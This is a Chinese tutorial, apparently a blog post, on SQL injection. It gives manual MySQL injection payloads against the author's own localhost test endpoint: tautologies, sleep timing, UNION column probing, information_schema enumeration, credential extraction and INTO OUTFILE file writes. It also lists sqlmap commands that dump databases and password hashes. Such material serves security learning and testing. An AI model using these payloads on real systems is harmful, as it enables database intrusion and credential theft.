[实战]使用SQLmap进行SQL注入

 

一、什么是SQLmap?

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。

备注:SQLmap是python代码

 

二、SQL注入

自行百度

三、SQLmap安装

可以点击https://github.com/sqlmapproject/sqlmap/tarball/master

下载最新版本sqlmap

 

也可以使用git来获取sqlmap

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

之后可以直接使用命令来更新

python sqlmap.py --update

或者

git pull 更新sqlmap

验证安装成功:

进入sqlmap.py所在的目录,执行以下命令:

#python sqlmap.py -h

 

四、SQLmap命令

SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

 

五 、sql注入后我们可以做什么?

枚举MYSQL用户名与密码、枚举所有数据库、枚举指定数据库的数据表、枚举指定数据表中的所有用户名与密码等等 ....

 

六、人为简单进行sql注入

以我自己写的一个接口为例,访问地址为:http://127.0.0.1:8081/?id=1

这个接口很简单,使用拼接sql的形式,根据id查询数据,此处我就不给出项目代码

 

[第零步]: 猜一下数据库。像我一搬默认为mysql

 

[第一步]: 找到注入点 - 以mysql为例

方法1. 经典 ' or '1'='1

方法2. 使用sleep(N) 函数 -- 部分版本不支持

通过在语句中添加一个sleep(N)函数,强制让语句停留N秒钟,来查看后台线程,例如:

select sleep(1),name from animals where name='tiger';

但是使用这个办法是有前提条件的,也只指定条件的记录存在时才会停止指定的秒数,例如查询条件为name='pig',结果表明记录不存在,执行时间为

另外需要注意的是,添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL会对每条满足条件的记录停留N秒钟。

例如,name like '%ger'的记录有三条

也可以加在后面:

SELECT * FROM cachet.QRTZ_CRON_TRIGGERS where SCHED_NAME='CachetScheduler' and sleep(1);

 

第三步: 破解要注入的SQL查询列数(即返回的字段数)

方法1: ' union select 1,2,3 from (select 1,2,3,4,5,6,7,8,9) as a where '1'='1

这种方法就是通过不停的换select 1,2,3,根据查询结果返回,来判断我们要注入的SQL返回了几个字段

如select 1或select 1,2或select 1,2,3或select 1,2,3,4

方法2: order by 1 (这种方式我还没有搞明白)

 

第四步:爆出当前数据库的基本信息

1. 获取数据库名: ' union select 1,2,database() from (select 1,2,3,4,5,6,7,8,9) as a where '1'='1

配合使用函数:

concat(user(),0x20,database(),0x20,version())

 

第五步:爆出所有的数据库名

知识准备: information_schema数据库中存在columns表

information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。information_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。

MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。

SQL :

' union select 1,2,group_concat(distinct table_schema) from information_schema.columns as a where '1'='1

 

第六步:爆出当前的数据库表名(表名出现后可以根据表名进行猜想)

' union select 1,2,group_concat(distinct table_name) from information_schema.columns as a where table_schema= database() and '1'='1

 

第七步: 爆出当前数据库中某个表的列名及值

1. 使用mysql hex() 函数进行16制转换,然后在前面加上0x即为表名.我在测试时必须使用0x

2. 获取表列名SQL: 1' union select 1,2,group_concat(distinct column_name) from information_schema.columns as a where table_name= 0x74656D706C6F796565 and '1'='1

3. 获取表值SQL:

1' union select fcode,fname,fmobile from temployee where '1'='1

说明:如果查出的值判断有md5加密可以直接进行md5解密获取用户名密码 http://pmd5.com

示例:

本表查询:

http://localhost/injection/user.php?username=angel' and LENGTH(password)='6

http://localhost/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:

http://localhost/injection/show.php?id=1' union select 1,username,password from user/*

http://localhost/injection/show.php?id=' union select 1,username,password from user/*

导出文件:

http://localhost/injection/user.php?username=angel' into outfile 'c:/file.txt

http://localhost/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt

http://localhost/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

待办:是否可以执行update,insert,delete等语句

 

七、SQLmap概述

当给sqlmap这么一个url的时候,它会:

1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

 

八、使用SQLmap常用命令

SQLmap常用命令,执行SQLmap后会在用户当前目录下生成.sqlmap数据,存放扫描记录

--u : 指定目标URL

例如: python sqlmap.py -u "http://127.0.0.1:8081?id=1"

--b : 获取DBMS banner

--dbms : 指定数据库类型

例如: python sqlmap.py -u "http://127.0.0.1:8081?id=1" --dbms "mysql" --dbs

--current-db : 获取当前数据库

--current-user:获取当前用户

--dbs:获取所有数据库

--users : 枚举DBMS用户

--password : 枚举DBMS用户密码hash

--D : 要枚举的DBMS数据库

例如:python sqlmap.py -u "http://127.0.0.1:8081?id=1" --dbms "mysql" -D "zra"

--tables : 枚举DBMS数据库中的数据表

例如: python sqlmap.py -u "http://127.0.0.1:8081?id=1" --dbms "mysql" -D "zra" --tables

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。

sql注入相关资料

1.常用的MySQL内置函数

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

database()

version()

SUBSTRING()

MID()

char()

load_file()

2. 利用mysql 支持16进制

http://blog.chinaunix.net/uid-120401-id-2963244.html

注入查询条件转为16进制

3.

参考:

http://www.111cn.net/database/mysql/53674.htm

http://www.111cn.net/database/mysql/75080.htm

http://www.111cn.net/database/mysql/114336.htm

http://www.111cn.net/database/mysql/94037.htm

http://www.111cn.net/database/mysql/116795.htm

http://www.111cn.net/database/mysql/58518.htm

http://unconciousmind.blogspot.com/search/label/sqlmap

你可能感兴趣的:(安全,工具)